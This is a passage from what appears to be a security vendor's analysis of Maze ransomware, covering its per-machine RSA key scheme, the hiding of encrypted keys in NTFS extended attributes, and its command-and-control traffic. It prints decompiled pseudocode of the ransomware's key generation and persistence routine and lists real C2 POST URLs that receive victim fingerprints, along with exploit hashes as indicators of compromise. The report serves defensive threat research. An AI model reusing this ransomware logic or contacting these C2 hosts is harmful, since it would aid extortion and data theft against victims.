4B CE 27 4B AA 11 36 30 F2 C1 DB 29 31 06 38 1B CF B0 A3 AF 8F 19 8A 76  
EC 5C 1F DC D9 F4 BB F6 34 60 4B AF

Afterwards, the computer private key is destroyed. However, the encrypted form of the private key is saved, 
and dumped in DECRYPT-FILES.txt as a Base64 block:

---BEGIN MAZE KEY--- 
24GFDOJs/fxp11F4kXLe7qtMhOvEOaHLNVt3Yv6IfVkVcbWxvZBSmVCw00buGYwux2efPZ 
EexyTPblCjM1w6cWlaVjX0Nv4HrufxumWTzeGcsTwCH8uFEtso07u5WUxQ7zGIMFV0j9TA 
... 
bgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsAAAAQih8AEMAXwBGAF 
8AMgAxADgANgA1ADQALwAyADYAMgAwADQAMQB8AAAASABQQFiJCGCJCGiJCHDb5UV4C4AB 
---END MAZE KEY---

The malware authors maintain possession of the “master” private key, needed to decrypt computer keys and files. File 
decryption can be performed only if this private key is leaked or obtained otherwise. Factorizing the master private key 
from the public key is not practical, because of the key size.

Key persistence
Using another interesting trick, encrypted computer keys are hidden inside NTFS metadata, by using Extended 
Attributes. An empty file is created, %ProgramData%\0x29A.db and a custom extended attribute named KREMEZ 
is set to that file, using NtQueryEaFile, NtSetEaFile functions:

if ( !j_SHGetFolderPathW(0, CSIDL_COMMON_APPDATA, 0, 0, this + 2) ) 
{ 
  j_lstrcatW(fileName + 2, a0x29aDb); 
  // get keys from EA of C:\ProgramData\0x29A.db 
  if ( GetCachedInfoFromEaFile(fileName, (int)pubKey, (int)encPrivKey) ) 
      goto LABEL_9; 
} 
v9 = 0; 
// generate new computer keypair 
if ( GenerateRSAKeys((DWORD *)&privKey, pubKey) ) 
{ 
  // encrypt computer private key with master public key  
  if ( !EncryptChaChaRsa((int)&privKey, (int)encPrivKey) ) 
    goto LABEL_10; 
  v6 = a4; 
  // verify key length 
  if ( pubKey[1] == 0x114 ) 
  { 
    // add encrypted private key to data 
    MemCpy((unsigned int)eaData, (unsigned int)encPrivKey, 0x694u); 
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    // add plaintext public key to data 
    MemCpy((unsigned int)&eaData[1684], *pubKey, 0x114u); 
    // persist data to EA of 0x29A.db file 
    WriteCacheInfoToEaFile(fileName, (BYTE *)eaData); 
  } 
  [...] 
  // destroy computer private key 
  v10 = privKey; 
  if ( privKey ) 
    FREE_MEM(v10);

The data can be technically retrieved using public NTFS EA extraction tools, but is unusable without the master private 
key.

 Network connections

Besides scanning network shares, the malware tries to connect to several C2 hosts for further instructions and 
possible data exfiltration. The list of contacted hosts was found encrypted in the binary, all IPs located in the Russian 
Federation.

The target URL contains one IP from the list, random English words and extensions like php or asp. We have 
seen the following outbound connections from this sample:

POST http://91.218.114.4/withdrawal/jfmd.do 
POST http://91.218.114.11/view/messages/ugihhabxg.jspx?ar=0l868b71x 
POST http://91.218.114.25/ex.action?gd=v5qh8a 
POST http://91.218.114.26/post/account/eifxupy.aspx?e=p45ph1k&xen=j030&jxq=x&qe=4h78 
POST http://91.218.114.31/lecfefe.jsp?ac=uqt38c3 
POST http://91.218.114.32/rcqncstrcq.asp?xa=u&hgnt=883&e=y0hpt3n06c&a=e 
POST http://91.218.114.37/support/check/is.aspx?y=ndf 
POST http://91.218.114.38/aixffpqds.html?hdnw=72lr15&es=lwm7u8&tulq=6a43xi8 
POST http://91.218.114.77/news/withdrawal/iku.jspx 
POST http://91.218.114.79/sepa/ticket/idjyo.jspx?eri=wfb6bb2sr

The data sent to the C2 hosts is the computer fingerprint described at the beginning of this chapter, and 
looks like this, before encryption:

12938e04ce69e222 
Username 
MACHINE-NAME 
none 
Windows Name 
|\\remote-host\shared-folder| 
|X_X_0/0|X_F_11111/22222|D_X_0/0 
|X_X_111111/444444|
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 Indicators of compromise

An up-to-date list of indicators of compromise is available to Bitdefender Advanced Threat Intelligence users. More 
information about the program is available at https://www.bitdefender.com/oem/advanced-threat-intelligence.html.

• Main executable sample: e69a8eb94f65480980deaf1ff5a431a6

• CVE-2016-7255 exploit dll, 32-bit: 0e6552c7590de315878f73346f482b14

• CVE-2016-7255 exploit dll, 64-bit: 79abd17391adc6251ecdc58d13d76baf

• CVE-2018-8453 exploit shellcode, 32/64: 443f39b28a5b2434f1985f2fc43dc034

• Contacted C2 hosts:
    91.218.114.4 
    91.218.114.11 
    91.218.114.25 
    91.218.114.26 
    91.218.114.31 
    91.218.114.32 
    91.218.114.37 
    91.218.114.38 
    91.218.114.77 
    91.218.114.79
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